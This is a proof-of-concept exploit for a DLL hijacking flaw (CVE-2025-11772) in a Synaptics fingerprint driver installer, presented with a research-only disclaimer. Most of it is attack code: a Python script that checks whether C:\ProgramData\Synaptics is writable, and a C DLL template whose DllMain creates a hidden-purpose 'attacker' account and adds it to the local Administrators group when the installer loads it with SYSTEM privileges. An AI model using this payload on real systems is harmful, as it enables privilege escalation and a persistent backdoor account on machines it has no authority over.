A carefully crafted DLL, copied to
C:\ProgramData\Synaptics
folder, allows a local user to execute
arbitrary code with elevated privileges during driver installation.
The following code is for security research and authorized testing only.
python
# CVE-2025-11772 PoC - Synaptics Fingerprint Driver DLL Hijacking
# Author: Security Research
# Note: This PoC is for educational and authorized testing purposes only
import os
import ctypes
import shutil
# Target directory for DLL placement
TARGET_DIR = r'C:\ProgramData\Synaptics'
MALICIOUS_DLL = 'SynapticsCredentialProviderHID.dll'
def create_malicious_dll():
"""
Create a malicious DLL that executes payload with elevated privileges.
In a real attack, this would be a compiled native DLL with malicious code.
This example shows the structure for educational purposes.
"""
dll_template = '''
// Malicious DLL template for CVE-2025-11772
// This DLL will be loaded by Synaptics driver installer with SYSTEM privileges
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
if (fdwReason == DLL_PROCESS_ATTACH) {
// Payload execution with elevated privileges
// Example: Create administrator account or execute shell
system("cmd.exe /c net user attacker P@ssw0rd123 /add");
system("cmd.exe /c net localgroup Administrators attacker /add");
// Log execution (in real attack, this would be stealthy)
MessageBox(NULL, "DLL Loaded", "CVE-2025-11772", MB_OK);
}
return TRUE;
}
// Exported function that may be called by the driver
extern "C" __declspec(dllexport) void SynapticsHID_Init() {
// Initialization code
}
'''
return dll_template
def check_vulnerability():
"""Check if target directory exists and is writable"""
if os.path.exists(TARGET_DIR):
print(f'[+] Target directory exists: {TARGET_DIR}')
# Check write permissions
test_file = os.path.join(TARGET_DIR, 'test_write.tmp')
try:
with open(test_file, 'w') as f:
f.write('test')
os.remove(test_file)
print('[+] Directory is writable - Vulnerability may be exploitable')
return True
except:
print('[-] Directory is not writable')
return False
else:
print(f'[-] Target directory does not exist: {TARGET_DIR}')
return False
def main():
print('CVE-2025-11772 Synaptics DLL Hijacking PoC')
print('=' * 50)
# Check if vulnerable
if check_vulnerability():
print('\n[!] This system may be vulnerable to CVE-2025-11772')
print('[!] Wait for driver update/installation to trigger exploit')
print('[!] The malicious DLL will be loaded with SYSTEM privileges')
else:
print('\n[-] System does not appear to be vulnerable or Synaptics driver not installed')
if __name__ == '__main__':
main()